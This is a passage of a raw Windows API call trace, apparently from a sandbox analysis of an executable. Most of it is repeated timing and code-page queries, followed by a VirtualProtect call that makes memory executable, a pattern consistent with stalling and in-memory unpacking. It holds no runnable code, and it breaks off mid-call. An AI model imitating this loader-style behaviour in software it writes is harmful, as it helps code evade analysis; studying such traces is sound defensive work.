lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.188] GetACP () returned 0x4e4 [0050.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.189] GetACP () returned 0x4e4 [0050.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.190] GetACP () returned 0x4e4 [0050.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.190] GetACP () returned 0x4e4 [0050.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.190] GetACP () returned 0x4e4 [0050.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.251] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.251] GetACP () returned 0x4e4 [0050.252] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.252] GetACP () returned 0x4e4 [0050.252] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.252] GetACP () returned 0x4e4 [0050.252] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.252] GetACP () returned 0x4e4 [0050.252] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.252] GetACP () returned 0x4e4 [0050.252] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.252] GetACP () returned 0x4e4 [0050.252] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.252] GetACP () returned 0x4e4 [0050.252] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.252] GetACP () returned 0x4e4 [0050.252] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.253] GetACP () returned 0x4e4 [0050.253] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.254] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.254] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.255] GetACP () returned 0x4e4 [0050.255] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.256] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.256] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.256] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.256] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.256] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.256] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.256] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.256] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.256] GetACP () returned 0x4e4 [0050.373] VirtualProtect (in: lpAddress=0x4e5ab8, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0050.374] AddAtomA (lpString=0x0) returned 0x0 [0050.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.374] AddAtomA (lpString=0x0) returned 0x0 [0050.374] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.374] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.374] AddAtomA (lpString=0x0) returned 